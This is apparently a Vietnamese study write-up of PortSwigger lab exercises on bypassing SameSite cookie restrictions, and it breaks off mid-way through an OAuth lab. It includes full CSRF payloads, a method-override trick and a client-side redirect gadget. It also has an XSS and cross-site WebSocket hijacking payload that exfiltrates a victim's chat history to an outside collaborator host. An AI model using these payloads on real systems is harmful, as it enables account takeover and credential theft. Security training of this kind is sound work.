What is a Site in the Context of SameSite Cookies?

Trong ngữ cảnh của SameSite, một site sẽ bao gồm một top-level domain (TLD) (thường là .com hoặc .net) và một level domain khác.

Khi xác định xem request có phải là same-site hay không, URL scheme cũng được xem xét. Ví dụ, request từ http://app.example.com đến https://app.example.com được xem là cross-site request.

Khái niệm eTLD (viết tắt của effective top-level domain) là để chỉ các top-level domain gồm nhiều phần (chẳng hạn như .co.uk).

What’s the Difference Between a Site and an Origin?

Sự khác nhau giữa site và origin là scope của chúng: một site thì sẽ bao gồm nhiều domain name còn một origin chỉ bao gồm một domain name.

Hai URL được xem là same-origin nếu như chúng có cùng scheme, domain name và port. Chú ý là port thường được suy ra từ scheme.

Có thể thấy, site ít cụ thể hơn origin vì nó chỉ bao gồm scheme và phần cuối cùng của domain name (không bao gồm các subdomain và port). Đặc biệt, một cross-origin request có thể là một same-site request (nếu nó cùng domain và khác subdomain). Tất nhiên, một cross-site request không thể là một same-origin request (do khác domain)

Một số ví dụ:

Request fromRequest toSame-site?Same-origin?
https://example.comhttps://example.comYesYes
https://app.example.comhttps://intranet.example.comYesNo: mismatched domain name
https://example.comhttps://example.com:8080YesNo: mismatched port
https://example.comhttps://example.co.ukNo: mismatched eTLDNo: mismatched domain name
https://example.comhttp://example.comNo: mismatched schemeNo: mismatched scheme

How Does SameSite Work?

Trước khi có SameSite, các trình duyệt sẽ đính kèm các cookie cho tất cả các request gửi đến domain đã cấp phát các cookie đó, kể cả các request đến từ các website thứ 3. Attribute SameSite giúp giới hạn lại việc đính kèm các cookie cho một số request nhất định.

Có ba mức độ giới hạn của SameSite:

  • Strict
  • Lax
  • None

Lập trình viên có thể cấu hình mức độ giới hạn của attribute SameSite thông qua header Set-Cookie có trong response trả về cho người dùng. Ví dụ:

Set-Cookie: session=0F8tgdOhi9ynR1M9wa3ODa; SameSite=Strict

Như đã nói, nếu server không thiết lập attribute SameSite cho cookie trong response trả về, Chrome sẽ tự động thêm vào SameSite=Lax.

Strict

Nếu SameSite có giá trị là Strict thì trình duyệt sẽ không đính kèm các cookie trong bất kỳ cross-site request nào. Nói một cách đơn giản, nếu request gửi đến một site khác với site ở trên URL thì trình duyệt sẽ không đính kèm cookie.

Mặc dù là option bảo mật nhất nhưng nó có thể ảnh hưởng đến trải nghiệm người dùng nếu các tính năng cần đến các cross-site request.

Lax

Đối với option này, trình duyệt sẽ đính kèm các cookie nếu thỏa cả hai điều kiện sau:

  1. Request sử dụng phương thức GET.
  2. Request xảy ra bởi một sự điều hướng bậc cao (top-level navigation1) của người dùng, chẳng hạn như khi người dùng bấm vào một liên kết.

Điều này đồng nghĩa với việc cookie sẽ không được đính kèm trong các POST request, vốn là các request dùng để chỉnh sửa dữ liệu và cũng là các request được nhắm tới bởi CSRF attack. Ngoài ra, cookie cũng sẽ không được đính kèm trong các background request chẳng hạn như các request nạp tài nguyên gây ra bởi script, iframes hoặc các liên kết đến các hình ảnh hoặc các dạng tài nguyên khác.

None

Đồng nghĩa với việc không sử dụng attribute SameSite.

Ngoại trừ Chrome, giá trị None của SameSite là mặc định đối với đa số các trình duyệt khi cookie này không được thiết lập trong header Set-Cookie của response trả về.

Khi chức năng “Lax-by-default” của Chrome được áp dụng thì có một tác dụng phụ là làm hỏng các chức năng của đa số trang web. Để giải quyết nhanh chóng, một số website đã sử dụng SameSite=None cho tất cả các cookie, kể cả các cookie nhạy cảm.

Khi set một cookie đi kèm với attribute SameSite=None, website đồng thời phải thêm cookie Secure nhằm đảm bảo cookie được mã hóa khi gửi qua HTTPS. Nếu không, các trình duyệt sẽ từ chối và sẽ không set cookie.

Set-Cookie: trackingId=0F8tgdOhi9ynR1M9wa3ODa; SameSite=None; Secure

Bypassing SameSite Lax Restrictions Using GET Requests

Một số server không quan tâm đến method của request, kể cả các request thực hiện submit form. Nếu trang web dùng SameSite=Lax (có thể là set tường minh hoặc được set bởi trình duyệt) thì ta vẫn có thể thực hiện CSRF attack bằng cách gửi GET request từ trình duyệt của nạn nhân.

Request cần phải gây ra top-level navigation để trình duyệt đính kèm cookie. Payload sau sẽ giúp gửi request thỏa mãn điều kiện đó:

<script>
    document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000';
</script>

Trong trường hợp method GET không được phép thì ta có thể dùng tính năng override HTTP method được cung cấp bởi đa số các framework. Ví dụ, Symfony hỗ trợ tham số _method trong HTML form giúp override method:

<form action="https://vulnerable-website.com/account/transfer-payment" method="POST">
    <input type="hidden" name="_method" value="GET">
    <input type="hidden" name="recipient" value="hacker">
    <input type="hidden" name="amount" value="1000000">
</form>

Các framework khác cũng cung cấp những cách thức tương tự.

Lab: SameSite Lax Bypass via Method Override

Trang web không dùng SameSite cho cookie session nên browser sẽ mặc định giá trị của SameSiteLax (Chrome). Để browser đính kèm cookie, ta cần gửi GET request mà có gây ra top-level navigation.

Thử dùng payload sau:

<script>
	document.location = "https://0a6f003204db5b418177708200a600ea.web-security-academy.net/my-account/change-email?email=csrf%40csrf.net"
</script>

Request gửi đi sẽ là:

GET /my-account/change-email?email=csrf%40csrf.net HTTP/2
Host: 0a6f003204db5b418177708200a600ea.web-security-academy.net
Cookie: session=h2APIrE5JYZH9QHD5JSPdPYzUM3czXpn
Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://exploit-0ae5007404a35be381146f3801de0045.exploit-server.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i

Response trả về:

HTTP/2 405 Method Not Allowed
Allow: POST
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 20
 
"Method Not Allowed"

Có thể thấy, server đã chặn method GET nên ta cần override method của request thành POST thông qua tham số _method như sau:

<script>
	document.location = "https://0a6f003204db5b418177708200a600ea.web-security-academy.net/my-account/change-email?email=csrf%40csrf.net&_method=POST"
</script>

Bypassing SameSite Restrictions Using On-site Gadgets

Nếu cookie có thuộc tính SameSiteStrict thì trình duyệt sẽ không đính kèm request cho bất kỳ cross-site request nào. Chúng ta vẫn có thể tấn công bằng cách tạo ra một request phụ thuộc (secondary request) trong cùng site.

Cụ thể, chúng ta sẽ sử dụng cross-site request để tạo ra client-side redirect. Do các request của client-side redirect (secondary request) là các same-site request nên trình duyệt sẽ đính kèm cookie. Việc chúng ta cần làm là thay đổi target của redirect request bằng cách sử dụng các input mà ta có thể kiểm soát chẳng hạn như query param.

Chú ý rằng kỹ thuật trên không thể áp dụng được cho server-side redirect vì trình duyệt sẽ nhận biết được request gốc của secondary request là cross-site request và vẫn sẽ áp dụng các giới hạn của thuộc tính SameSite.

Lab: SameSite Strict Bypass via Client-side Redirect

Ta cần kiếm ra tính năng có thực hiện tạo client-side redirect. Thử up một comment thông qua request sau:

POST /post/comment HTTP/2
Host: 0afc00a204b84c1480910d3500d400ca.web-security-academy.net
Cookie: session=IQZHwdIfShu7HebALHZmKFawEGajknq2
Content-Length: 64
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0afc00a204b84c1480910d3500d400ca.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0afc00a204b84c1480910d3500d400ca.web-security-academy.net/post/2
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
 
postId=2&comment=good&name=name&email=email%40email.com&website=

Response trả về là có status code là 302 cho ta biết rằng có server-side redirect:

HTTP/2 302 Found
Location: /post/comment/confirmation?postId=2
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Trình duyệt sau đó gửi request đến /post/comment/confirmation?postId=2:

GET /post/comment/confirmation?postId=2 HTTP/2
Host: 0afc00a204b84c1480910d3500d400ca.web-security-academy.net
Cookie: session=IQZHwdIfShu7HebALHZmKFawEGajknq2
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Referer: https://0afc00a204b84c1480910d3500d400ca.web-security-academy.net/post/2
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8

Response trả về có đoạn sau:

<script>redirectOnConfirmation('/post');</script>

Hàm redirectOnConfirmation có code như sau:

redirectOnConfirmation = (blogPath) => {
    setTimeout(() => {
        const url = new URL(window.location);
        const postId = url.searchParams.get("postId");
        window.location = blogPath + '/' + postId;
    }, 3000);
}

Đây chính là client-side redirect mà ta cần tìm. Request chuyển hướng có dạng như sau:

GET /post/2 HTTP/2
Host: 0afc00a204b84c1480910d3500d400ca.web-security-academy.net
Cookie: session=IQZHwdIfShu7HebALHZmKFawEGajknq2
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0afc00a204b84c1480910d3500d400ca.web-security-academy.net/post/comment/confirmation?postId=2
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8

Có thể thấy, đây là một same-site request.

Ta sẽ chỉnh sửa URL chuyển hướng thông qua query param postId. Tuy nhiên, URL lại có prefix /post ở trước. Thử thay đổi /post thành /post/../my-account thì trình duyệt gửi request đến /my-account. Như vậy, ta có thể thêm /.. để bỏ đi phần prefix /post ở trước.

Request thay đổi email có dạng như sau:

POST /my-account/change-email HTTP/2
Host: 0afc00a204b84c1480910d3500d400ca.web-security-academy.net
Cookie: session=IQZHwdIfShu7HebALHZmKFawEGajknq2
Content-Length: 39
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0afc00a204b84c1480910d3500d400ca.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0afc00a204b84c1480910d3500d400ca.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
 
email=wiener%40normal-user.net&submit=1

Như vậy, payload truyền vào postId để thay đổi email sẽ là:

../my-account/change-email?email=csrf%40csrf.net&_method=POST&submit=1

Chúng ta sẽ lạm dụng GET request gửi đến /post/comment/confirmation để gây ra client-side redirect:

<script>
	document.location="https://0afc00a204b84c1480910d3500d400ca.web-security-academy.net/post/comment/confirmation?postId=..%2Fmy-account%2Fchange-email%3Femail%3Dcsrf%2540csrf.net%26_method%3DPOST%26submit%3D1"
</script>

Lưu ý là cần URL encode payload để các query param phía sau không bị nhầm lẫn là query param của endpoint /post/comment/confirmation.

Bypassing SameSite Restrictions via Vulnerable Sibling Domains

Cross-origin request có thể là một same-site request nên chúng ta có thể triển khai CSRF attack ở trên một sibling domain. Vì thế, cần đảm bảo rằng ta thu thập được tất cả các subdomain của mục tiêu. Nếu sibling domain có các lỗ hổng cho phép thực hiện secondary request đến target domain thì ta có thể bypass được thuộc tính SameSite.

Đặc biệt, nếu trang web sử dụng Port Swigger - WebSocket thì chúng ta cũng có thể triển khai CSRF attack nhằm vào WebSocket handshake. Kiểu tấn công này còn được gọi là cross-site WebSocket hijacking.

Lab: SameSite Strict Bypass via Sibling Domain

Lab này có tính năng chat bị lỗ hổng CSWSH và mục tiêu ta cần làm là đăng nhập vào tài khoản của nạn nhân.

Để làm điều này, sử dụng CSWSH để trích xuất lịch sử trò chuyện của nạn nhân đến server của Burp Collaborator2. Lịch sử trò chuyện có chứa login credential dưới dạng bản rõ.

Xóa tất cả cookie và truy cập vào endpoint /chat thì ta thu được request như sau:

GET /chat HTTP/2
Host: 0a4b0015048a6ed78011179b007800dd.web-security-academy.net
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a4b0015048a6ed78011179b007800dd.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8

Các header trong response:

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=Un0J8U4Q3eAjrz4NgNO0xcHzLrEbYSYq; Secure; HttpOnly; SameSite=Strict
X-Frame-Options: SAMEORIGIN
Content-Length: 3417

Có thể thấy, ứng dụng sử dụng SameSite=Strict cho cookie session.

Ngoài ra ta còn thu được WebSocket handshake request như sau:

GET /chat HTTP/2
Host: 0a4b0015048a6ed78011179b007800dd.web-security-academy.net
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Upgrade: websocket
Origin: https://0a4b0015048a6ed78011179b007800dd.web-security-academy.net
Sec-Websocket-Version: 13
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Cookie: session=M3ufUDNb1B3HYdyDUtiT9ABHRbNK8yM3
Sec-Websocket-Key: Z+VtiVVzNLA7n/3Fr9NPWA==

Đồng thời, phía client cũng gửi message sau:

READY

WebSocket server phản hồi lại message sau:

{
  "user": "CONNECTED",
  "content": "-- Now chatting with Hal Pline --"
}

Thử nhắn hello thì client gửi message sau:

{
  "message": "hello"
}

Server phản hồi lại các message sau:

{
  "user": "You",
  "content": "hello"
}
TYPING
{
  "user": "Hal Pline",
  "content": "Does your mom know you&apos;re still up?"
}

Tất cả các message trên đều được gửi và nhận thông qua URL wss://0a4b0015048a6ed78011179b007800dd.web-security-academy.net/chat.

Reload lại endpoint thì client vẫn gửi một READY message và server trả về các message trước đó như sau:

{"user":"You","content":"hello"}
{"user":"Hal Pline","content":"Does your mom know you&apos;re still up?"}
{"user":"CONNECTED","content":"-- Now chatting with Hal Pline --"}

Như vậy, ta cần tạo một kết nối WebSocket đến URL wss://0a4b0015048a6ed78011179b007800dd.web-security-academy.net/chat dưới danh nghĩa của session hiện tại để đọc lịch sử tin nhắn.

Tuy nhiên, do ứng dụng sử dụng SameSite=Strict cho cookie session nên handshake request sẽ không bao gồm cookie này.

Kiểm tra các request đến các resource chẳng hạn như hình ảnh và script, chúng ta sẽ thấy một sibling domain ở trong header Access-Control-Allow-Origin:

HTTP/2 200 OK
Content-Type: image/svg+xml
Cache-Control: public, max-age=3600
Access-Control-Allow-Origin: https://cms-0a4b0015048a6ed78011179b007800dd.web-security-academy.net
X-Frame-Options: SAMEORIGIN
Content-Length: 7124

Domain đó là một trang đăng nhập, thử nhập username và password thì ta thu được request như sau:

POST /login HTTP/2
Host: cms-0a4b0015048a6ed78011179b007800dd.web-security-academy.net
Cookie: session=fFxUrVPf5alVoX7inmFPSdulE4qYY1gl
Content-Length: 29
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://cms-0a4b0015048a6ed78011179b007800dd.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://cms-0a4b0015048a6ed78011179b007800dd.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
 
username=admin&password=admin

Response:

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 512
 
<html>
    <head>
        <title>Login</title>
    </head>
    <body>
        <h1>Login</h1>
        <section>
            <p>Invalid username: admin</p>
            <form method="POST" action="/login">
                <label>Username</label>
                <input required="" type="username" name="username"/>
                <label>Password</label>
                <input required="" type="password" name="password"/>
            <button type="submit"> Log in </button>
        </section>
    </body>
</html>

Có thể thấy, username nhập vào được chèn vào trong response. Chúng ta có thể triển khai XSS attack. Thử payload sau:

<script>alert(1)</script>

Kết quả là thực hiện XSS attack thành công. Xây dựng payload để gửi handshake request đến domain mục tiêu:

<script>
	const ws = new WebSocket("wss://0a4b0015048a6ed78011179b007800dd.web-security-academy.net/chat");
    ws.onopen = function (event) {
      console.log('Connected to WebSocket server');
 
      const message = "READY";
      console.log(`Sending ${message}`);
      ws.send(message);
    };
    ws.onmessage = function (event) {
      const attackerServer = "https://k7s84ga9e1g4x3kt52z2pkeyfplg96xv.oastify.com";
      fetch(attackerServer, {
        body: `Server's message: ${event.data}`,
        method: 'POST'
      });
    }
</script>

Xây dựng PoC chạy trên exploit server:

<html>
 
<body>
  <script>
    const payload = '<script>const ws=new WebSocket("wss://0a4b0015048a6ed78011179b007800dd.web-security-academy.net/chat");ws.onopen=function(event){console.log("Connected to WebSocket server");const message="READY";console.log(`Sending ${message}`);ws.send(message)};ws.onmessage=function(event){const attackerServer="https://k7s84ga9e1g4x3kt52z2pkeyfplg96xv.oastify.com";fetch(attackerServer,{body:`Message: ${event.data}`,method:"POST"})}' + '</' + 'script>';
 
    document.location = `https://cms-0a4b0015048a6ed78011179b007800dd.web-security-academy.net/login?username=${payload}&password=1&_method=POST`
  </script>
</body>
 
</html>

Có thể thấy, chúng ta gửi GET request đến https://cms-0a4b0015048a6ed78011179b007800dd.web-security-academy.net/login để đăng nhập với username là XSS payload và override method thành POST.

Nhấn nút Deliver exploit to victim và ta thu được một HTTP request đến Collaborator server có nội dung như sau:

POST / HTTP/1.1
Host: k7s84ga9e1g4x3kt52z2pkeyfplg96xv.oastify.com
Connection: keep-alive
Content-Length: 91
sec-ch-ua: "Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-platform: "Linux"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: https://cms-0a4b0015048a6ed78011179b007800dd.web-security-academy.net
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://cms-0a4b0015048a6ed78011179b007800dd.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
 
Message: {"user":"Hal Pline","content":"No problem carlos, it&apos;s 14t7thmzxz6cma3200fp"}

Đăng nhập vào tài khoản carlos với password là 14t7thmzxz6cma3200fp.

Bypassing SameSite Lax Restrictions with Newly Issued Cookies

Cookie với thuộc tính SameSite=Lax sẽ không được đính kèm với các cross-site POST request.

Tuy nhiên, vẫn tồn tại một số ngoại lệ. Như ta đã biết, nếu trang web không dùng SameSite khi set cookie thì Chrome sẽ tự động áp dụng SameSite=Lax cho cookie được set. Tuy nhiên, để các cơ chế SSO (Single Sign On) có thể hoạt động được thì trình duyệt áp dụng SameSite=None cho 120 giây đầu tiên kể từ khi cookie được set đối với các top-level cross-site POST request (các request gây ra bởi XHR không được phép).

Note

Quy luật 120 giây không áp dụng nếu ứng dụng khai báo thuộc tính SameSite=Lax một cách tường minh.

Việc canh thời gian để thực hiện tấn công là bất khả thi. Mặc dù vậy, nếu chúng ta có thể tìm được một tính năng nào đó khiến cho nạn nhân được cấp phát một cookie mới thì vẫn có thể triển khai tấn công trong thời gian 2 phút kể từ khi cookie được set.

Lab yêu cầu thay đổi email bằng cách bypass SameSite=Lax mặc định của trình duyệt. Tài khoản của user trên authorization server là wiener:peter.

Request đến endpoint / thì nhận được header Set-Cookie như sau:

Set-Cookie: session=xZS7C1sCPJJx1oZDMHX93PuhaeuiDCXH; Expires=Mon, 25 Mar 2024 07:19:10 UTC; Secure; HttpOnly

Trình duyệt sẽ tự động set SameSite=Lax.

Truy cập vào endpoint /my-account khi chưa đăng nhập thì nhận được response chuyển hướng như sau:

HTTP/2 302 Found
Location: /social-login
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Response trả về có đoạn code client-side redirect thực hiện ủy quyền OAuth như sau:

<meta http-equiv=refresh 
	  content='3;
	  url=https://oauth-0a1a00c003051e1b84302bc9026a00c8.oauth-server.net/auth
	  ?client_id=zbytqf0i9jxfhom9hae6i
	  &redirect_uri=https://0aa300c803801ef6845b2dd300f20005.web-security-academy.net/oauth-callback
	  &response_type=code
	  &scope=openid%20profile%20email'>

Phân tích URL trong đoạn code trên:

  • Authorization endpoint là https://oauth-0a1a00c003051e1b84302bc9026a00c8.oauth-server.net/auth.
  • Client ID của trang web là zbytqf0i9jxfhom9hae6i.
  • Redirect URI là https://0aa300c803801ef6845b2dd300f20005.web-security-academy.net/oauth-callback
  • Response type là code. Giá trị này cho ta biết ứng dụng sử dụng authorization code grant type.
  • Scope bao gồm ba giá trị là openid, profileemail.

Tất cả các giá trị trên đều là cố định mỗi lần ứng dụng cần lấy authorization code.

Response trả về từ authorization server:

HTTP/2 302 Found
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Set-Cookie: _interaction=FWgt1tx8o3j4LQRHtvPZ5; path=/interaction/FWgt1tx8o3j4LQRHtvPZ5; expires=Sun, 24 Mar 2024 07:29:26 GMT; samesite=lax; secure; httponly
Set-Cookie: _interaction_resume=FWgt1tx8o3j4LQRHtvPZ5; path=/auth/FWgt1tx8o3j4LQRHtvPZ5; expires=Sun, 24 Mar 2024 07:29:26 GMT; samesite=lax; secure; httponly
Location: /interaction/FWgt1tx8o3j4LQRHtvPZ5
Content-Type: text/html; charset=utf-8
Date: Sun, 24 Mar 2024 07:19:26 GMT
Keep-Alive: timeout=5
Content-Length: 99
 
Redirecting to <a href="/interaction/FWgt1tx8o3j4LQRHtvPZ5">/interaction/FWgt1tx8o3j4LQRHtvPZ5</a>.

Endpoint /interaction/FWgt1tx8o3j4LQRHtvPZ5 của authorization server là một trang để đăng nhập. Nhập vào tài khoản và mật khẩu đã được cung cấp rồi submit thì trang web gửi request như sau:

POST /interaction/FWgt1tx8o3j4LQRHtvPZ5/login HTTP/2
Host: oauth-0a1a00c003051e1b84302bc9026a00c8.oauth-server.net
Cookie: _interaction=FWgt1tx8o3j4LQRHtvPZ5
Content-Length: 30
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://oauth-0a1a00c003051e1b84302bc9026a00c8.oauth-server.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://oauth-0a1a00c003051e1b84302bc9026a00c8.oauth-server.net/interaction/FWgt1tx8o3j4LQRHtvPZ5
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
 
username=wiener&password=peter

Response là một server-side redirect:

HTTP/2 302 Found
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Location: https://oauth-0a1a00c003051e1b84302bc9026a00c8.oauth-server.net/auth/FWgt1tx8o3j4LQRHtvPZ5
Date: Sun, 24 Mar 2024 07:19:51 GMT
Keep-Alive: timeout=5
Content-Length: 0

Chú ý rằng giá trị FWgt1tx8o3j4LQRHtvPZ5 là cookie được set khi ứng dụng gửi request đến authorization endpoint.

Response đến endpoint /auth/FWgt1tx8o3j4LQRHtvPZ5 của authorization server cũng là một server-side redirect:

HTTP/2 302 Found
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Set-Cookie: _interaction=FWgt1tx8o3j4LQRHtvPZ5; path=/interaction/FWgt1tx8o3j4LQRHtvPZ5; expires=Sun, 24 Mar 2024 07:29:51 GMT; samesite=lax; secure; httponly
Set-Cookie: _interaction_resume=FWgt1tx8o3j4LQRHtvPZ5; path=/auth/FWgt1tx8o3j4LQRHtvPZ5; expires=Sun, 24 Mar 2024 07:29:51 GMT; samesite=lax; secure; httponly
Set-Cookie: _session=JfZbAeSwMbQdfhF2hDrJr; path=/; expires=Sun, 07 Apr 2024 07:19:51 GMT; samesite=none; secure; httponly
Set-Cookie: _session.legacy=JfZbAeSwMbQdfhF2hDrJr; path=/; expires=Sun, 07 Apr 2024 07:19:51 GMT; secure; httponly
Location: /interaction/FWgt1tx8o3j4LQRHtvPZ5
Content-Type: text/html; charset=utf-8
Date: Sun, 24 Mar 2024 07:19:51 GMT
Keep-Alive: timeout=5
Content-Length: 99
 
Redirecting to <a href="/interaction/FWgt1tx8o3j4LQRHtvPZ5">/interaction/FWgt1tx8o3j4LQRHtvPZ5</a>.

Tuy nhiên, có thêm hai cookie được set là _session_session.legacy. Đồng thời, endpoint /interaction/FWgt1tx8o3j4LQRHtvPZ5 lúc này không còn là trang đăng nhập nữa mà là trang cho phép người dùng chấp nhận hoặc từ chối ủy quyền.

Nếu người dùng chấp nhận ủy quyền thì sẽ có một POST request gửi đến endpoint /interaction/FWgt1tx8o3j4LQRHtvPZ5. Response của request này là:

HTTP/2 302 Found
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Location: https://oauth-0a1a00c003051e1b84302bc9026a00c8.oauth-server.net/auth/FWgt1tx8o3j4LQRHtvPZ5
Date: Sun, 24 Mar 2024 07:19:55 GMT
Keep-Alive: timeout=5
Content-Length: 0

Authorization server điều hướng đến endpoint /auth/FWgt1tx8o3j4LQRHtvPZ5 và response của endpoint này cũng là một redirect:

HTTP/2 302 Found
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Set-Cookie: _interaction_resume=; path=/auth/FWgt1tx8o3j4LQRHtvPZ5; expires=Thu, 01 Jan 1970 00:00:00 GMT; samesite=lax; secure; httponly
